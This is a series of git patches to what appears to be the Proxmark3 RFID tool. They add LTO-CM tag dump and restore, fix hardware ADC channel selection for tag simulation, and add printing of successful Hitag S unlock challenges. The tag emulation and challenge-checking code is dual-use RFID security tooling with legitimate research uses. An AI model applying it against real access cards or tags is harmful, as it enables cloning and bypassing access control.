IfPm3Iso14443a, "Restore dump file to LTO-CM tag"}, {"info", CmdHfLTOInfo, IfPm3Iso14443a, "Tag information"}, {"rdbl", CmdHfLTOReadBlock, IfPm3Iso14443a, "Read block"}, {"wrbl", CmdHfLTOWriteBlock, IfPm3Iso14443a, "Write block"}, @@ -530,4 +645,3 @@ int CmdHFLTO(const char *Cmd) { clearCommandBuffer(); return CmdsParse(CommandTable, Cmd); } - diff --git a/client/cmdhflto.h b/client/cmdhflto.h index 2b771f0d8..67179c2ae 100644 --- a/client/cmdhflto.h +++ b/client/cmdhflto.h @@ -14,7 +14,8 @@ #include "common.h" int infoLTO(bool verbose); -int dumpLTO(uint8_t *serial_number, uint8_t serial_len, uint8_t *dump, bool verbose); +int dumpLTO(uint8_t *dump, bool verbose); +int restoreLTO(uint8_t *dump, bool verbose); int rdblLTO(uint8_t st_blk, uint8_t end_blk, bool verbose); int wrblLTO(uint8_t blk, uint8_t *data, bool verbose); int CmdHFLTO(const char *Cmd); From 52627833011741546e8a48163f5e41f5c4aa0dfe Mon Sep 17 00:00:00 2001 From: Kevin-Nakamoto Date: Thu, 6 Feb 2020 16:49:26 -0500 Subject: [PATCH 411/418] fix filename issue (dump) --- client/cmdhflto.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/client/cmdhflto.c b/client/cmdhflto.c index b4700cca0..7057fab36 100644 --- a/client/cmdhflto.c +++ b/client/cmdhflto.c @@ -509,7 +509,7 @@ static int CmdHfLTODump(const char *Cmd) { // save to file if (filename[0] == '\0') { - memcpy(serial_number, sprint_hex_inrow(dump, sizeof(serial_number)), sizeof(serial_number) * 2); + memcpy(serial_number, sprint_hex_inrow(dump, sizeof(serial_number)), sizeof(serial_number)); char tmp_name[17] = "hf_lto_"; strcat(tmp_name, serial_number); memcpy(filename, tmp_name, sizeof(tmp_name)); @@ -549,7 +549,9 @@ int restoreLTO(uint8_t *dump_data, bool verbose) { ret_val = lto_wrbl(blk, blkData, verbose); - if (ret_val != PM3_SUCCESS) { + if (ret_val == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "BLK %03d: " _YELLOW_("write success"), blk); + } else { lto_switch_off_field(); return ret_val; } From 86fdf8e9879af07512fdbaf4df7fbf06df272682 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 12 Feb 2020 02:13:04 +0100 Subject: [PATCH 412/418] color --- client/ui.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/client/ui.c b/client/ui.c index 0cd2c589a..215bd66bc 100644 --- a/client/ui.c +++ b/client/ui.c @@ -240,7 +240,13 @@ static void fPrintAndLog(FILE *stream, const char *fmt, ...) { fprintf(stderr, "[-] Can't open logfile %s, logging disabled!\n", my_logfile_path); logging = 0; } else { - printf("[=] Session log %s\n", my_logfile_path); + + if (session.supports_colors) { + printf(_YELLOW_("[=]") "Session log " _YELLOW_("%s") "\n", my_logfile_path); + } else { + printf("[=] Session log %s\n", my_logfile_path); + } + } free(my_logfile_path); } From f32d94b99cf288ba9cebceb42020c285f038714f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 12 Feb 2020 02:26:05 +0100 Subject: [PATCH 413/418] textual --- client/flash.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/client/flash.c b/client/flash.c index 1f898f9d3..698e39187 100644 --- a/client/flash.c +++ b/client/flash.c @@ -527,7 +527,8 @@ const char ice[] = "...................................................................\n @@@ @@@@@@@ @@@@@@@@ @@@@@@@@@@ @@@@@@ @@@ @@@\n" " @@! !@@ @@! @@! @@! @@! @@! @@@ @@!@!@@@\n !!@ !@! @!!!:! @!! !!@ @!@ @!@!@!@! @!@@!!@!\n" " !!: :!! !!: !!: !!: !!: !!! !!: !!!\n : :: :: : : :: ::: : : : : : :: : \n" - _RED_(" . .. .. . . .. ... . . . . . .. . \n") + _RED_(" . .. .. . . .. ... . . . . . .. . ") + "\n...................................................................\n" ; // Write a file's segments to Flash From 31507be5490adb692e8bf02cb7d32c92cf1872c4 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 12 Feb 2020 02:26:44 +0100 Subject: [PATCH 414/418] textual --- client/comms.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/comms.c b/client/comms.c index ce8223ba3..7a9086873 100644 --- a/client/comms.c +++ b/client/comms.c @@ -547,6 +547,7 @@ bool OpenProxmark(void *port, bool wait_for_port, int timeout, bool flash_mode, PrintAndLogEx(SUCCESS, "Waiting for Proxmark3 to appear on " _YELLOW_("%s"), portname); fflush(stdout); int openCount = 0; + PrintAndLogEx(INPLACE, ""); do { sp = uart_open(portname, speed); msleep(500); @@ -587,7 +588,6 @@ bool OpenProxmark(void *port, bool wait_for_port, int timeout, bool flash_mode, session.pm3_present = true; fflush(stdout); - return true; } } From bc3f0c4da83757f35e9b7333c518edd9de224417 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 12 Feb 2020 09:52:23 +0100 Subject: [PATCH 415/418] fix: #555 fpga_compress missing tarbin directive --- tools/fpga_compress/Makefile | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tools/fpga_compress/Makefile b/tools/fpga_compress/Makefile index 86c995924..47f3c278c 100644 --- a/tools/fpga_compress/Makefile +++ b/tools/fpga_compress/Makefile @@ -19,3 +19,7 @@ fpga_compress: $(OBJDIR)/fpga_compress.o $(MYOBJS) $(OBJDIR)/libz.a: $(info [*] MAKE zlib) $(Q)$(MAKE) --no-print-directory -C $(ZLIBPATH) OBJDIR=$(ROOT_DIR)$(OBJDIR) BINDIR=$(ROOT_DIR)$(OBJDIR) all + +tarbin: $(BINS) + $(info [=] TAR ../proxmark3-$(platform)-bin.tar) + $(Q)$(TAR) $(TARFLAGS) ../../proxmark3-$(platform)-bin.tar $(BINS:%=fpga_compress/%) $(WINBINS:%=fpga_compress/%) \ No newline at end of file From fade194bbe19ee802fe0926c0195189a0f15fbf7 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 12 Feb 2020 09:57:00 +0100 Subject: [PATCH 416/418] ignore gz files --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index 092ad9619..349ef5efb 100644 --- a/.gitignore +++ b/.gitignore @@ -20,6 +20,7 @@ *.dll *.moc.cpp *.z +*.gz *.Td *.DS_Store *.exe From 36f22341218ed6e2a9a330a4f7ece1823959dd50 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 12 Feb 2020 10:29:00 +0100 Subject: [PATCH 417/418] fix HF simulation --- armsrc/appmain.c | 45 ++++++++++++++++++---------------------- armsrc/iso14443a.c | 46 +++++++++++++++++++++++++++++++++++++++-- armsrc/iso14443b.c | 5 +++++ armsrc/mifaresim.c | 8 ++++++- armsrc/thinfilm.c | 12 +++++++---- common_arm/Makefile.hal | 2 +- 6 files changed, 85 insertions(+), 33 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 7c58fd7e6..15d939a35 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -208,12 +208,11 @@ void MeasureAntennaTuning(void) { FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); SpinDelay(50); +#if defined RDV4 + payload.v_hf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; +#else payload.v_hf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; - - // RDV40 will hit the roof, try other ADC channel used in that hardware revision. - if (payload.v_hf > MAX_ADC_HF_VOLTAGE - 300) { - payload.v_hf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; - } +#endif FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); reply_ng(CMD_MEASURE_ANTENNA_TUNING, PM3_SUCCESS, (uint8_t *)&payload, sizeof(payload)); @@ -222,16 +221,13 @@ void MeasureAntennaTuning(void) { // Measure HF in milliVolt uint16_t MeasureAntennaTuningHfData(void) { - uint16_t volt = 0; - uint16_t avg = AvgAdc(ADC_CHAN_HF); - volt = (MAX_ADC_HF_VOLTAGE * avg) >> 10; - bool use_high = (volt > MAX_ADC_HF_VOLTAGE - 300); - if (use_high) { - volt = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; -// volt = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; - } - return volt; +#if defined RDV4 + return (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; +#else + return (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; +#endif + } // Measure LF in milliVolt @@ -532,7 +528,6 @@ void ListenReaderField(uint8_t limit) { uint16_t lf_av = 0, lf_av_new, lf_baseline = 0, lf_max = 0; uint16_t hf_av = 0, hf_av_new, hf_baseline = 0, hf_max = 0; uint16_t mode = 1, display_val, display_max; - bool use_high = false; // switch off FPGA - we don't want to measure our own signal // 20180315 - iceman, why load this before and then turn off? @@ -549,15 +544,12 @@ void ListenReaderField(uint8_t limit) { if (limit == HF_ONLY) { - hf_av = hf_max = AvgAdc(ADC_CHAN_HF); - +#if defined RDV4 // iceman, useless, since we are measuring readerfield, not our field. My tests shows a max of 20v from a reader. - // RDV40 will hit the roof, try other ADC channel used in that hardware revision. - use_high = (((MAX_ADC_HF_VOLTAGE * hf_max) >> 10) > MAX_ADC_HF_VOLTAGE - 300); - if (use_high) { - hf_av = hf_max = AvgAdc(ADC_CHAN_HF_RDV40); - } - + hf_av = hf_max = AvgAdc(ADC_CHAN_HF_RDV40); +#else + hf_av = hf_max = AvgAdc(ADC_CHAN_HF); +#endif Dbprintf("HF 13.56MHz Baseline: %dmV", (MAX_ADC_HF_VOLTAGE * hf_av) >> 10); hf_baseline = hf_av; } @@ -608,8 +600,11 @@ void ListenReaderField(uint8_t limit) { LED_B_OFF(); } - hf_av_new = (use_high) ? AvgAdc(ADC_CHAN_HF_RDV40) : AvgAdc(ADC_CHAN_HF); - +#if defined RDV4 + hf_av_new = AvgAdc(ADC_CHAN_HF_RDV40); +#else + hf_av_new = AvgAdc(ADC_CHAN_HF); +#endif // see if there's a significant change if (ABS(hf_av - hf_av_new) > REPORT_CHANGE) { Dbprintf("HF 13.56MHz Field Change: %5dmV", (MAX_ADC_HF_VOLTAGE * hf_av_new) >> 10); diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index b68edf58a..abfe07f10 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -1787,7 +1787,13 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) { ADC_MODE_PRESCALE(63) | ADC_MODE_STARTUP_TIME(1) | ADC_MODE_SAMPLE_HOLD_TIME(15); + +#if defined RDV4 + AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF_RDV40); +#else AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF); +#endif + // start ADC AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START; @@ -1811,12 +1817,19 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) { ++check; // test if the field exists - if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF)) { +#if defined RDV4 + if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF_RDV40)) { + analogCnt++; - analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF]; + + analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF_RDV40]; + AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START; + if (analogCnt >= 32) { + if ((MAX_ADC_HF_VOLTAGE_RDV40 * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) { + if (timer == 0) { timer = GetTickCount(); } else { @@ -1832,6 +1845,35 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) { analogAVG = 0; } } +#else + if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF)) { + + analogCnt++; + + analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF]; + + AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START; + + if (analogCnt >= 32) { + + if ((MAX_ADC_HF_VOLTAGE * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) { + + if (timer == 0) { + timer = GetTickCount(); + } else { + // 50ms no field --> card to idle state + if (GetTickCountDelta(timer) > 50) { + return 2; + } + } + } else { + timer = 0; + } + analogCnt = 0; + analogAVG = 0; + } + } +#endif // receive and test the miller decoding if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index d68ddd044..31f2cae58 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -635,7 +635,12 @@ void SimulateIso14443bTag(uint32_t pupi) { // find reader field if (cardSTATE == SIM_NOFIELD) { + +#if defined RDV4 + vHf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; +#else vHf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; +#endif if (vHf > MF_MINFIELDV) { cardSTATE = SIM_IDLE; LED_A_ON(); diff --git a/armsrc/mifaresim.c b/armsrc/mifaresim.c index 80881c416..0dcbe404a 100644 --- a/armsrc/mifaresim.c +++ b/armsrc/mifaresim.c @@ -537,7 +537,13 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // find reader field if (cardSTATE == MFEMUL_NOFIELD) { - vHf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF)) >> 10; + +#if defined RDV4 + vHf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; +#else + vHf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; +#endif + if (vHf > MF_MINFIELDV) { cardSTATE_TO_IDLE(); LED_A_ON(); diff --git a/armsrc/thinfilm.c b/armsrc/thinfilm.c index 46fa5a920..e4b2e9b23 100644 --- a/armsrc/thinfilm.c +++ b/armsrc/thinfilm.c @@ -52,10 +52,11 @@ void ReadThinFilm(void) { uint16_t FpgaSendQueueDelay; uint16_t ReadReaderField(void) { - uint16_t hf_av = AvgAdc(ADC_CHAN_HF); - if (((MAX_ADC_HF_VOLTAGE * hf_av) >> 10) > MAX_ADC_HF_VOLTAGE - 300) - hf_av = AvgAdc(ADC_CHAN_HF_RDV40); - return hf_av; +#if defined RDV4 + return AvgAdc(ADC_CHAN_HF_RDV40); +#else + return AvgAdc(ADC_CHAN_HF); +#endif } static void CodeThinfilmAsTag(const uint8_t *cmd, uint16_t len) { @@ -119,13 +120,16 @@ void SimulateThinFilm(uint8_t *data, size_t len) { CodeThinfilmAsTag(data, len); FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + // Set up the synchronous serial port FpgaSetupSsc(); + // connect Demodulated Signal to ADC: SetAdcMuxFor(GPIO_MUXSEL_HIPKD); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_MOD); SpinDelay(100); + uint16_t hf_baseline = ReadReaderField(); // Start the timer diff --git a/common_arm/Makefile.hal b/common_arm/Makefile.hal index 8fe070582..455672e5f 100644 --- a/common_arm/Makefile.hal +++ b/common_arm/Makefile.hal @@ -56,7 +56,7 @@ endef PLTNAME = Unknown Platform ifeq ($(PLATFORM),PM3RDV4) - PLATFORM_DEFS = -DWITH_SMARTCARD -DWITH_FLASH + PLATFORM_DEFS = -DWITH_SMARTCARD -DWITH_FLASH -DRDV4 PLTNAME = Proxmark3 rdv4 else ifeq ($(PLATFORM),PM3OTHER) PLTNAME = Proxmark3 Generic target From 912cbe971386abc529ae66143edb7ff8763e09b0 Mon Sep 17 00:00:00 2001 From: Thorsten Bosbach Date: Fri, 14 Feb 2020 18:33:13 +0100 Subject: [PATCH 418/418] hitagS print whole memory + print succeeded challenges --- armsrc/hitagS.c | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/armsrc/hitagS.c b/armsrc/hitagS.c index 836df6e82..40cdf47ed 100644 --- a/armsrc/hitagS.c +++ b/armsrc/hitagS.c @@ -1341,6 +1341,8 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { Dbprintf("Page[ 2]: __ __ __ __"); Dbprintf("Page[ 3]: __ __ __ __"); } + // since page 2+3 are not accessible when LKP == 1 and AUT == 1 fastforward to next readable page + pageNum = 4; } txlen = 20; @@ -1950,6 +1952,11 @@ void check_challenges(bool file_given, uint8_t *data) { u1++; } else if (STATE == 2 && rxlen >= 44) { + Dbprintf("Challenge success: %02X%02X%02X%02X %02X%02X%02X%02X", + unlocker[u1 - 1][0], unlocker[u1 - 1][1], + unlocker[u1 - 1][2], unlocker[u1 - 1][3], + unlocker[u1 - 1][4], unlocker[u1 - 1][5], + unlocker[u1 - 1][6], unlocker[u1 - 1][7]); STATE = 0; }